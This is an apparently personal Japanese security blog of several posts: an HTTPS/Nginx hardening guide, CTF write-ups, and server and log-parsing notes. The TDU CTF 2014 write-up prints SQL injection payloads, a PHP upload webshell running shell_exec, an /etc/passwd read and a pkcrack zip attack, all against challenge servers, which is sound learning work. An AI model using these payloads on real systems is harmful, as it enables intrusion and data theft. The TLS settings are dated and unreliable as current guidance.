sonickun.log

備忘録

Let's EncryptでHTTPSサーバを建てたついでにSSL LabsでA+評価をめざす

最近 Let's Encrypt が Public Beta になったということで,自分のサイト(https://sonickun.xyz)もSSL化してみた.また,どうせならSSL LabsのテストでA+を取りたいと思いあれこれ試行錯誤したので備忘録として残しておく.

Let's Encrypt

letsencrypt.org
Let's Encrypt は,SSL/TLSサーバ証明書の取得・管理を簡略化できる無料のサービスであり,TLSHTTPSを普及させることを目的としている.Let's Encryptで取得可能なSSL/TLSサーバ証明書は「ドメイン認証 (DV) SSL/TLS証明書」であり,独自ドメインの所有者であれば誰でも取得可能である.企業認証(OV)SSL/TLS証明書やEV SSL証明書は取得できないが,個人が運営するサイト程度ならDV証明書で十分といえる.

Let's Encryptの詳細は有志による日本語サイトによくまとまっている.

Qualys SSL Labs

www.ssllabs.com

Qualys SSL Labs社が提供するSSL Server Testは,SSLサーバ証明書の設定状況の確認や,信頼性の診断などができるサービスである.グレード表記や項目別スコア表示があり,さらに信頼性に乏しいと思われる設定項目を指摘してくれる.
今回はQualys SSL Labsのテストの最高グレードである A+ の取得を目指す.

Let's EncrptでWebサイトをSSL

今回SSL化するWebサイトは自分のプロフィールサイト(sonickun.xyz)で,WebサーバはNginx,OSはCentOS 6.5である.
詳しくは過去記事
sonickun.hatenablog.com

Lets's Encrypt Clientのインストール

事前に以下のパッケージをインストールしておく.

# yum -y install httpd openssl mod_ssl
# yum -y install git

次に以下のコマンドでLets's Encrypt Clientをインストールする.--debugオプションは必須ではないが,これがないとエラーが起きる場合があるので付けておいたほうが良い.

# git clone https://github.com/letsencrypt/letsencrypt
# cd letsencrypt
# ./letsencrypt-auto --help --debug

自分の環境の場合,letsencrypt-autoの実行時にvirtualenvというPythonモジュールがないとがないと怒られてしまったのでeasy_installで入れておく.

# easy_install virtualenv

SSL証明書の取得

以下のコマンドを実行する.${DOMAIN}の部分は取得したいドメイン(自分の場合は"sonickun.xyz")を,${WEBROOT}の部分はNginxで設定しているルートディレクトリ(自分の場合は"/var/www/html/")を指定する.

# ./letsencrypt-auto certonly --webroot -d ${DOMAIN} --webroot-path ${WEBROOT} --debug

すると,青い画面でメールアドレスの入力を求められるので,メールアドレスを入力して,<了解>を選択する.つぎに,利用規約に同意するか聞かれるので,<Agree>を選択する.
証明書の取得が完了すると以下の様な表示になる.

IMPORTANT NOTES:
 - If you lose your account credentials, you can recover through
   e-mails sent to xsonickun@gmail.com.
 - Congratulations! Your certificate and chain have been saved at
   /etc/letsencrypt/live/sonickun.xyz/fullchain.pem. Your cert will
   expire on 2016-03-13. To obtain a new version of the certificate in
  the future, simply run Let's Encrypt again.
 - Your account credentials have been saved in your Let's Encrypt
   configuration directory at /etc/letsencrypt. You should make a
   secure backup of this folder now. This configuration directory will
  also contain certificates and private keys obtained by Let's
   Encrypt so making regular backups of this folder is ideal.
 - If like Let's Encrypt, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

/etc/letsencrypt/live/sonickun.xyz/に以下のファイルが置かれる.

# cd /etc/letsencrypt/live/sonickun.xyz/
# ls
cert.pem       #サーバ証明書
chain.pem      #中間証明書
fullchain.pem  #サーバ証明書+中間証明書
privkey.pem    #サーバ秘密鍵

Nginxの設定

今回はSSL化に加えて,HTTP/2にも対応させることにする.HTTP/2はHTTP/1.1と比べ様々な最適化がされており,例えば,バイナリーフレームの採用,ストリームによる多重化,サーバープッシュなどの特徴がある.
Nginxでは,mainlineで提供されているバージョン1.9.5以降でHTTP/2に対応しているため,これよりも古いバージョンの場合はアップデートする必要がある.
まず,"nginx: Linux packages"を参考にしつつリポジトリを以下のように変更する(baseurlに注意).

# vi /etc/yum.repos.d/nginx.repo
[nginx]
name=nginx repo
baseurl=http://nginx.org/packages/mainline/OS/OSRELEASE/$basearch/
gpgcheck=0
enabled=1

yumでアップデート,バージョンの確認をする.

# yum -y install nginx
# nginx -v
nginx version: nginx/1.9.9

これにてNginxのバージョンアップが完了した.

次に,Nginxの設定ファイルetc/nginx/conf.d/server.confを以下のように設定する(なおこれが最終版ではない).

server {
    listen 80;
    listen [::]:80;
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    server_name  sonickun.xyz;

    ssl_certificate /etc/letsencrypt/live/sonickun.xyz/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/sonickun.xyz/privkey.pem;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA;

    ssl_dhparam /usr/local/nginx/conf/dhparam.pem;

    location / {
        root    /var/www/html;
        index  index.html index.htm;
    }
}

設定変更後のNginxの再起動も忘れずに.

# service nginx reload
# service nginx restart

Webサイトの確認

実際にアクセスしてみるとHTTPSで通信していることが分かる.また,Googleの拡張であるHTTP/2 and SPDY indicatorを使ってHTTP/2が使われていることが確認できる.
f:id:sonickun:20151218221148p:plain

chrome://net-internals/#events&q=type:HTTP2_SESSION%20is:active
f:id:sonickun:20151218221630p:plain


SSL Labs A+ を目指して

ひとまず先程のSSL Labsのテストを行ってみる.
f:id:sonickun:20151218222057p:plain

はい.

診断結果によれば,DH鍵が弱く,Perfect Forward Secrecy (PFS) に対応していないとのこと.

DH鍵の変更

DHE鍵交換にはLogjam攻撃という攻撃が存在し,512bit長の標準素数であれば数十秒で解ける.また1024bit長でも国家予算並みのお金をかければ解読できると言われており,現在は2048bitの利用が推奨されている.
さて,現状のDH鍵の鍵長は1024bitとなっているため,2048bitのものに変更する.
まず/usr/local/nginx/conf/下でopensslを用いてDH鍵を生成する.

# openssl dhparam -out dhparam.pem 2048
# openssl dhparam -text -in dhparam.pem -noout

次にserver.confに以下の行を追加する.

ssl_dhparam /usr/local/nginx/conf/dhparam.pem;

これにてDH鍵の変更は完了.

Perfect Forward Secrecy (PFS) ヘの対応

Perfect Forward Secrecyとは,サーバの秘密鍵が暴露された場合でも,ユーザーの個人的な情報記録を過去に遡って解読することを妨ぐ暗号化技術であり,HeartBleedのような致命的なバグに対して効果を発揮する.
PFSをサポートしているのはDHE鍵交換とECDHE鍵交換である.
したがって,server.confssl_ciphersの部分を以下のように変更する.

ssl_ciphers "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4";

Chromeのアドレスバーの鍵マークをクリックすると,ECDHE鍵交換が行われているのが確認できる.
f:id:sonickun:20151218230200p:plain

HTTP Strict Transport Security (HSTS) ヘの対応

HSTSでは,サーバから"Strict-Transport-Security"というHTTPヘッダを送ることで,クライアントに常にHTTPSで通信するように強制させることができる.この指定はmax-ageに指定した期間クライアントにキャッシュされる.これにより,中間者攻撃より知らず知らずのうちに攻撃者に平文通信を盗聴されることを防ぐことができる.
SSL LabsのテストではHSTSが有効になっているとスコアが上がるとの事だったのでこれを有効にすることにする.Nginxではserver.confに以下の行を追加することでHSTSが有効になる.

add_header Strict-Transport-Security "max-age=15768000; includeSubdomains";

実際にHTTPSで接続した後,URLの"https"を"http"に変更してアクセスすると,すぐさまHTTPSのサイトにリダイレクトする.レスポンスヘッダを見ると"Strict-Transport-Security"ヘッダが付加されていることが確認できる.
f:id:sonickun:20151218232056p:plain

再テスト

再びSSL Labsで診断した結果,めでたくA+を取得できた:)
f:id:sonickun:20151218232644p:plain

最終的な設定ファイルserver.confは以下のとおり.

server {
    #listen 80;
    #listen [::]:80;
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    server_name  sonickun.xyz;

    ssl_session_timeout  10m;

    ssl_certificate /etc/letsencrypt/live/sonickun.xyz/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/sonickun.xyz/privkey.pem;

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

    ssl_ciphers "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4";

    ssl_prefer_server_ciphers on;
    ssl_dhparam /usr/local/nginx/conf/dhparam.pem;

    add_header Strict-Transport-Security "max-age=15768000; includeSubdomains";

    location / {
        root    /var/www/html;
        index  index.html index.htm;
    }
}

おわりに

Let's EncrptによるSSL証明書の取得は思ったよりも簡単に行うことができた.また,HTTPSにしたからといって安全と高をくくってはいけないと学んだ.

MozillaGoogleをはじめとする多くの団体や企業があらゆるWebコンテンツをHTTPSに移行するように呼びかけており,SSL化されたWebサイトはどんどん増えている.GoogleではHTTPS ページが優先的にインデックスに登録されるようになる.

一方で,未だにHTTPSに対応していない大手のWebサービスも多々あり,それらのHTTPのコンテンツがHTTPSのWebサイト上で動作しないといった問題が起きている.

もちろんセキュリティ上の問題もあるが,この度のLet's Encryptのリリースによってこれらの問題が改善されていくことが期待される.


TDUCTF 2015 「Portscan」のWrite-upを丁寧に

TDUCTF 2015 に参加した.connpass.com

 今回はPortscan(500pt)というNetwork問題で最も点数の高かった問題のWrite-upを書く.解けた人が4人と少なく,tsharkの使い方を知らない人が多い感じがしたので,試行の過程・ツールの使い方も含めて丁寧に書いていく.他の問題は大したものを解いてない or CTF終了後にWrite-up発表があったので,今回は省略する.

 最後にCTFの結果と所感を述べる.

tsharkの使い方

 問題を解く前提知識として,tsharkの使い方をまとめておく.tsharkとはWiresharkCUI版であり,Wiresharkで出来るようなことがCUI上で行える.pcapデータを整形したり統計をとったりしたいときなどはこのtsharkが大活躍することがある.スクリプトを書く必要もなく,ワンライナーのコマンドですべてが解決する.Wiresharkがインストールされている環境であればtsharkも一緒に入っているはず.

 オプション一覧も日本語でまとめられている.

CTFでよく使うオプションまとめ
  • -r [infile]: [infile]で指定したpcapファイルを読み込む.
  • -Y "[display filter]": [display filer]で指定したパケットに絞り込む.フィルタはWiresharkのDisplay filterで使えるものと同じ.
  • -T fields,-e [field]: パケットのフィールドを指定して表示させる.フィールドの名前も同様にWiresharkのDisplay filterで使えるものと同じ.複数選択するときに区切り文字を指定したいときは-E separator=[char]を使ってお好みで.
  • -c [packet count]: 表示するパケットの数を指定する.

 すべてのDisplay filterは以下のページで参照できる.

 Wiresharkでパケットを開いて,「このパケットのこのフィールドのDisplay filterを知りたい!」という時は,そのフィールド上で右クリック→Apply as Filter→SelectedでWiresharkのFilter欄に表示される.

コマンド例

 「secretmsg.pcapを読み込み,送信先IPアドレスが192.168.0.238のパケットに絞り込み,送信先ポート,UDPチェックサムペイロードを並べて10パケット表示させたい」とき,コマンドは以下のようになる.

# tshark -r secretmsg.pcap -Y "ip.dst==192.168.0.238" -T fields -e udp.dstport -e udp.checksum -e data.data -c 10

出力は以下のとおり.

➜  tshark -r secretmsg.pcap -Y "ip.dst==192.168.0.238" -T fields -e udp.dstport -e udp.checksum -e data.data -c 10
1       0x0000f25f      23
1       0x00000000
2       0x0000f25d      23
2       0x00000000
3       0x0000f25b      23
3       0x00000000
4       0x0000f259      23
4       0x00000000
5       0x0000f257      23
5       0x00000000

 パケットに指定したフィールドが存在しない場合は空白になる.また,ICMP Destination Unreachableなどの"パケットの中にパケットが存在する"ようなパケットの場合には,指定したフィールドがカンマで区切って複数個表示される場合がある.

Portscan (Network 500pt) Write-up

問題文:
ポートスキャンが仕掛けられた!ん?何かメッセージがついてきているぞ?
問題ファイル:
secretmsg.pcap

 pcapファイルが渡されるので開いてみると,UDPスキャンを行っている通信が見れる.
f:id:sonickun:20150830211716p:plain

 ポートスキャンといえばSYNスキャンが主流だが,UDPのサービスを調査するときにはUDPパケットを送ってスキャンを行うことがある.ちなみにNmapでは-sUオプションを付けてUDPスキャンを行うことが出来る.

 今回のpcapでは,192.168.100.60から192.168.0.238(1~1288ポート)に向かってUDPパケットを送信し,すべてのポートからICMP Destination Unreachableが返ってきている.

 問題文より,192.168.100.60が送信するUDPパケットにメッセージが隠されていることが推測できる.パケットにメッセージが隠されているとすれば,当然そのペイロードに注目する.ペイロードを見てみると,それぞれ1バイトのデータがあり,ぱっと見で0x20,0x23,0x0aの3種類しかないことがわかる(たまにペイロードがないものもある).

 そこで,先ほどのtsharkを用いてUDPパケットのペイロードのみを抽出してみる.

➜ tshark -r secretmsg.pcap -Y "udp and !(icmp)"  -T fields -e data.data
23
23
23
23
23
23

20
20
23
23
23
....

 Display filter を"!(icmp)"としたのは,前述のようにICMPパケットの中にUDPパケットが含まれており,"udp"というFilterだけではICMPパケットも同時に表示されるためである.これをリダイレクト(>)を用いてテキストファイル(out.txt)に出力しておく.

 ここで,0x20,0x23,0x0aをそれぞれASCII文字で表すと,0x20はスペース,0x23は#(シャープ),0x0aは制御文字で改行を意味する.

 先ほど生成したテキストファイルに対して,スクリプトを用いて文字の置換を行う.またペイロードがなかったものに関しては"@"とでもしておく.

solve.py
f = open("out.txt","r")

str = ""
for l in f:
	l = l.strip()
	if(l==""):
		l ="@"
	if(l=="0a"):
		l="\n"
	if(l=="20"):
		l=" "
	if(l=="23"):
		l="#"
	str += l

print str
f.close()
実行結果

f:id:sonickun:20150830213921p:plain

 ということで,フラグの文字がASCIIアートで表示された.

 ヒントとしては,0x0aの出現回数が少なく,等間隔に存在するため,ここで改行したら長方形型になるかな?と推測できる.

 フラグはTDU{PORTSCAN_PAYLOAD}

結果と所感

 結果は69人中9位というつらい成績だった.上の人を見るとア。という感じ.

悔やまれる点

  • Networkのメールの問題.zipファイルを見た瞬間に既知平文攻撃ができるとわかり,すぐにpkcrackを使ったがなぜか解凍できなかった.ファイルが壊れていたのか,既知平文のデータ量が少なかったのか,VMのメモリが足りなかったのか未だに謎.
  • Webのアップロードのやつ.同じような問題が前回のTDUCTFでも出ており,しかも時間内に解いていたにも関わらず今回はやらなかった.やればよかった.
  • 全体的にどうでもいいところでつまづくところがあった(pcap破損してて開けねえ!とか).競技中は音楽など聞かずに運営の方の話をちゃんと聞こうと思った.

 問題数の割に時間が足りなくて全てに取り組むことができなくて残念だったが,取り組んだ問題に関しては楽しく解くことができた.

運営のみなさま,ありがとうございました!

セキュリティ・キャンプ 2015 講義資料まとめ

セキュキャンに行けなかった人がセキュキャンの資料のまとめをつくりました.
公開してくださって本当にありがとうございます!

www.ipa.go.jp

※ここにない資料があれば@y_hagまで教えてくださるととても嬉しいです.

#ssmjp で発表した―「進化するWebトラッキングの話」

2015/07/31に開催された#ssmjpにて,「進化するWebトラッキングの話」というタイトルで発表しました.
会場は品川のBIGLOBEのオフィスでした.

f:id:sonickun:20150811212209j:plain

2015年07月の#ssmjpまとめ | ssmjp Infomation

発表スライド

オフレコのスライドは省いてあります.ごめんなさい><

結構身近な話題だったので,shlideshareのほうがそこそこbuzzってました.やはりみんな関心があるんだなあと.

この勉強会では過去に一度発表させていただいたことがあったので,今回は比較的落ち着いて発表出来ました.少し残念だったのは,時間があまりなかったこともあり,発表を聞いた人から質問,意見,マサカリをあまりいただけなかったこと.まだまだWeb初心者なので,色々とフィードバックをいただけたらと思います.

twitter上の評価を見ていると,「今後はCookieに取って代わって,Browser Fingerprintがトラッキングの主流になるということなのか」というコメントがありましたが,けしてそうではないと思います.スライドにもあるように,RTBといった広告システム等で今後もCookieは使われ続けると思いますし,Browser Fingerprintはあくまでユーザーを識別するための"補助的な"情報という立ち位置になると思います.一方で,今後それ単体だけでユーザーを特定できるような最強のFingerprintが見つかってしまうかもしれません(ないとおもいますが).

Webトラッキングは新しい話題がどんどんでてきますし,対策もまだまだ十分と言えないので,研究してみるには面白い題材だと思います.

Nginxのアクセスログを自動でSQLiteに出力する

 先日Nginxを使ってWEBサーバを立ち上げたのだが,アクセスログを解析しやすいようにデータベースに突っ込みたかったので自分で実装してみた.sonickun.hatenablog.com

 Apacheのログなどをデータベースに出力するツールとしてfluentd等があるようだが,導入が面倒そうだったのと,自分で自由にカスタマイズしたかったという理由で今回はpythonで書いてみる.

Nginxのアクセスログ

 /etc/nginx/nginx.confによれば,Nginxのアクセスログのフォーマットは以下のようになっている.

log_format main    '$remote_addr - $remote_user [$time_local] "$request" '
                   '$status $body_bytes_sent "$http_referer"'
                   '"$http_user_agent" "$http_x_forwarded_for"';

 出力されたログの例は以下のとおり.

AA.BB.CC.DD - - [07/Apr/2015:03:36:34 +0000] "GET / HTTP/1.1" 
200 1913 "http://sonickun.hatenablog.com/" 
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36" "-"

 また,ログファイルは以下のように1日毎に分割され,gzipで圧縮して/var/log/nginx/下に保存される.

# ls /var/log/nginx/
access.log-20150405.gz 
access.log-20150406.gz 
access.log-20150407.gz 
access.log-20150408.gz 
access.log-20150409 

 

実装

 まずはログを格納するSQLiteデータベース(log.db)を/var/log/nginx/db/下に作成する.

CREATE TABLE log(
    ip,
    remotelog,
    remoteuser,
    date,
    time,
    method,
    url,
    status,
    byte,
    refer,
    agent,
    xforwarded
);

 次に,ログファイルを読み込んでデータベースに出力するプログラムを作成する.

parse.py
import sqlite3
import datetime
import gzip

def parse(log, db):
    try:
        f = gzip.open(log, "rb") # decompress gzip
        conn = sqlite3.connect(db)
        cursor = conn.cursor()

        for line in f:
            data = []
            a = line.split('"')
            line = line.split()
            #ip
            data.append(line[0])
            #remotelog
            data.append(line[1])
            #remoteuser
            data.append(line[2])
            #date (ex. "07/Apr/2015" -> "2015/04/07")
            date = datetime.datetime.strptime(line[3][1:line[3].index(":")],"%d/%b/%Y")
            data.append(date.strftime("%Y/%m/%d"))
            #time
            data.append(line[3][line[3].index(":") + 1:])
            #method
            data.append(a[1].split()[0])
            #url
            data.append(" ".join(a[1].split()[1:]))
            #status
            data.append(line[8]) 
            #byte
            data.append(line[9])
            #refer
            data.append(a[-6])
            #agent
            data.append(a[-4])
            #x forwarded for
            data.append(a[-2])
    
            try:
                cursor.execute( "insert into log values( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", 
                    (data[0], data[1], data[2], data[3], 
                        data[4], data[5], data[6], data[7],
                        data[8], data[9], data[10], data[11]) )
            except Exception as e:
                print str(e)
        conn.commit()
        cursor.close()
        conn.close()
        f.close()
        print "Complete."
    except Exception as e:
        print str(e)

if __name__ == "__main__":
    # extract filename
    d = datetime.datetime.now()
    d = d - datetime.timedelta(days=1)
    d = d.strftime("%Y%m%d")

    log = "/var/log/nginx/access.log-" + d + ".gz"
    db = "/var/log/nginx/db/log.db"
    
    print log + " -> " + db,

    parse(log, db)

 ログファイルは収集した翌日の午前3時過ぎころに圧縮され保存されるようなので,このプログラムを毎日午前5時ころに実行するようにする.以下のようにparse.shを作成する.

parse.sh
#!/bash/sh
python parse.py

 これをcronを使って実行をスケジューリングする./etc/crontabを以下のように編集する.

/etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

0 5 * * * root /var/log/nginx/src/parse.sh

 これにより,毎日午前5時にparse.shが実行される.

 

出力結果

 Nginxのログがデータベースに出力されているので,中身を確認してみる.

# sqlite3 log.db
sqlite> select * from log limit 5;
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/ HTTP/1.1|200|1913|http://sonickun.hatenablog.com/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/css/vendor/fluidbox.min.css HTTP/1.1|200|346|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/css/main.css HTTP/1.1|200|2753|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/js/vendor/jquery.fluidbox.min.js HTTP/1.1|200|1526|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/js/main.js HTTP/1.1|200|140|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-

 ログがデータベースに格納されている事がわかる.これで任意のSQL文を実行してさまざまな統計を行うことができるようになった.
 

 

VPSでWebサーバを構築した

 先日のTDUCTF in ConohaでConoha VPSのクーポン券を頂いたので,遊び半分,勉強目的半分でWebサーバ(sonickun.xyz)を構築してみた.

sonickun.xyz

f:id:sonickun:20150406202149p:plain

 とりあえず,自分のプロフィールページのようなものを作ってみた.ここまでの作業を備忘録的に書いていく.

Conoha VPS

今回VPSはConoha VPSを利用した.VPSの作成から管理まで,わかりやすいUIでとても簡単に行えた.www.conoha.jp
 今回のVPSのスペックは以下のとおり.

  • CPU: 2コア
  • メモリ: 1GB
  • HDD: 100GB
  • OS: CentOS 6.5 (64bit)

 これはConoha VPSの最小構成であり,お値段は月額930円とお手頃.

ユーザの設定

 最初にログインした時はrootになっているため,一般ユーザを作成する.ユーザ名は仮に"hoge"とする.

# adduser hoge
# passwd hoge

 また,visudoコマンドでsudoerを以下のように編集し,hogeがsudoを行えるようにする.

root   ALL=(ALL)   ALL
hoge   ALL=(ALL)   ALL

 

SSHの設定

 公開鍵認証でSSH接続を行えるように設定した.まずはssh-keygenで公開鍵と秘密鍵のペアを作成する.

# ssh-keygen -t rsa

 これにより,id_rsa(秘密鍵)とid_rsa.pub(公開鍵)のペアが生成される.サーバ側に公開鍵,クライアント側に秘密鍵を置くことにする.鍵の転送にはscpを使った.
 次に/etc/ssh/sshd_configを以下のように編集する.

# rootでのログインを禁止する
PermitRootLogin no
# 公開鍵認証の設定
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile  .ssh/id_rsa.pub
# パスワードでの認証を禁止する
PasswordAuthentication no

 最後にsshdを再起動する.

service sshd restart

 

ドメインの取得

 おなじみ「お名前ドットコム」を利用した.www.onamae.com
 今回ドメインとして"xyz"を選んだのは次の理由から.

  • セールで安くなってたから(1年で300円くらい)
  • どんな用途にも使えそうなドメインだから
  • 単純にカッコイイから.

 ドメインの登録が完了するとwhois情報の登録などは代行でやってもらえる.管理画面のDNSレコードの設定でVPSIPアドレスを登録し,Conoha側で逆引きの設定をしたら出来上がり.

参考

akb428.hatenablog.com

 

Webサーバ

Nginx

 WebサーバにはNginx(エンジンエックス)を使った.

 Nginxの特徴としては,リバースプロキシとして動作することがある.ロードバランサとしても使えるし,HTTPSにも対応しているためSSL/TLSアクセラレータとして使用することもできる.また,画像やHTMLテキストといった静的コンテンツもキャッシュすることが可能.
 Nginxのアクセス制御などのコンフィグは/etc/nginx/ngin.confに集約されており,簡潔に設定を行える.今回は,/etc/nginx/conf.d/server.confを作成し,このファイルを読み込ませるようにした.

/etc/nginx/conf.d/server.conf
server {
    listen       80;
    server_name  sonickun.xyz;

    location / {
	root	/var/www/html;
        index  index.html index.htm;
    }
}

これにより,sonickun.xyzにアクセスした時に/var/www/html以下のindex.htmlが表示されるという設定になる.

Bootstrap

 またWebフレームワークとして,Bootstrapを用いた.BootstrapはHTML5・CSS3・jQueryを使用したフレームワークであり,レスポンシブデザインにも対応している.また多彩なパッケージやテンプレートが存在し,デザインの能力があまりなくてもそこそこカッコイイサイトが作れる.getbootstrap.com

 「Bootstrap テンプレート」などで検索するといろいろ出てくるので,その中からシンプルで良さげなものを選んだ.

 これでほとんど雛形が完成してるので,あとは適当にHTMLを自分なりにアレンジするだけ.

 

所感と今後の予定

 Web初心者なのでサーバを構築しながらいくつも知見を得ることができてよかった.実際に自分で手を動かしたほうが理解が深まる.

 今後の予定としては

  • ファイアウォールの設定を見直す
  • CTF用のサイトを作る
  • パケットキャプチャしてパケットを愛でる

 などを考えている.

TDU CTF 2014 Satellite in ConoHa ― Write-up

 TDU CTF 2014 Satellite in ConoHaに参加した。結果は1000点くらい(覚えていない)で15位くらい(覚えていない)だった。上位の人達を見てみると、GEKI-YABAな人たちが名を連ねていた。

connpass.com

Write-up

EasySQLi Challenge

 SQLインジェクションの問題。Webサイトの入力フォームに"(ダブルクオート)などを入力するとSQLエラーが表示され、SQLiが可能であることがわかる。"or "1"="1を入力するとテーブルの情報がすべて表示されるが、フラグはない。フラグは別のテーブルにあると思い、" OR 1=1 UNION SELECT sql, 1 FROM sqlite_master;--を入力してスキーマ情報を抜き取る。

CREATE TABLE "ok_flag_is_here"(title varchar(48), body varchar(256))
CREATE TABLE flagTable(title varchar(48), body varchar(256))
CREATE TABLE questionTable(title varchar(48), body varchar(256))

 "ok_flag_is_here"とflagTableというテーブルがあるので、" OR 1=1 UNION SELECT title, body FROM "ok_flag_is_here";--" OR 1=1 UNION SELECT title, body FROM flagTable;--でフラグが2つ得られた。
 テーブルの中にURLがあり、そこに移動するとステージ2のページが現れる。こちらはMySQLであることがわかったので、" or "1"="1";#で3つ目のフラグが得られた。ただフラグの文字列は白塗りされており見つけくくなっていた。一応" UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES) ;#スキーマ情報を抜くことはできたがこの先にフラグはあったのだろうか。

Simple Uploder

 ウェブサイトからサーバへ任意のファイルがアップロードできるようになっている。phpファイルをアップロードすれば実行してくれるのかなーと思い、HelloWorldなプログラムを送ったらやはり実行された。つまりは任意のコードのが実行できるということなので、以下のようにls -lをするプログラムを送る。

<?php
    $command = 'ls -l';
    $output = shell_exec("{$command}  2>&1");
    print_r ($output);
?>

 すると、参加者がアップロードしたファイルの中に一つだけ更新日時の古いPNGファイルを見つけたので、これを表示させる。

<?php	
    $image_path = './dc3db649f63cc360174b2ea7e470ee40.png';
    header('Content-Type: image/jpeg');
    readfile($image_path);
?>

f:id:sonickun:20150329224613p:plain

 これで1つ目のフラグをゲット。さらに先ほどのプログラムを使ってcat /etc/passwdを実行したところ、passwdファイルの中に2つ目のフラグがあった。

SUPER ULTIMATE COOL SECURE NOTING SYSTEM

 adminのログイン画面でuserに"or "1"="1を入力するとログインができ、1つ目のフラグが得られる。2つ目のフラグはadminのパスワードとの事だったので、ブラインドSQLiかなと思ったところで断念。後で聞いた話によるとSearchのところからSQLiでパスワードが得られたらしい。

Developer! Developer! Developer!

 暗号化されたzipファイル(question.zip)が渡される。中にはflag.txt(1KB)とSteve_ballmer_2007_outdoors2.jpg(295KB)があることがわかったので、Steve_ballmer_2007_outdoors2.jpgが手に入れば既知平文攻撃ができるなと思った。ファイル名でググったらすぐ出てきたのでここからダウンロードする。既知平文攻撃にはpkcrackをつかう。pkcrackは32bit WindowsLinuxで動作するが、なぜかWindowsでは解凍できなかった。Linux上で以下のコマンドでフラグを得た。

$ pkcrack -C question.zip -c Steve_ballmer_2007_outdoors2.jpg -p Steve_ballmer_2007_outdoors2.jpg -d target.zip
$ unzip target.zip
$ cat flag.txt

Trip Picture

 20150223_Kyoto.jpgというJPEGファイルが渡される。stringsコマンドとgrepで"TDU"という文字を探したらフラグを見つけた。

読めない文字1

 BASE64な文字が渡された。文字を2回デコードしたところフラグが得られた。

unknown file

 3B14EA88FCDB58239928D829DD5182E23D866255というASCII textのファイルが渡される。Trip Pictureと同様stringsとgrepでフラグを見つけた。

柚子胡椒 Vol.1

 bluetooth.pcapというpcapファイルが渡される。bluetoothのパケットうわぁ…とおもったがstringsとgrepでフラグが得られたので結局中身を見ていない。

Evidence

 RawImageというイメージファイルが渡される。FTK Imagerでマウントして中身を見ると、"!oc.pdf"というPDFファイルを見つけたのでこれをエクスポートして開いたらフラグが得られた。

misc

 覚えてません ;)


所感

 初心者向け(?)のCTFなだけあって、たくさん問題が解けて楽しかった。確実に解かなければならない問題をしっかり解けたのは良かった。ただ得意なはずのNetwork問題で見たことがないパケットが出てきて解けなかったのは辛かった。いつものことながらbinary系の問題を敬遠してしまったので、後でしっかり解こうと思う。
 運営の皆様、ありがとうございました!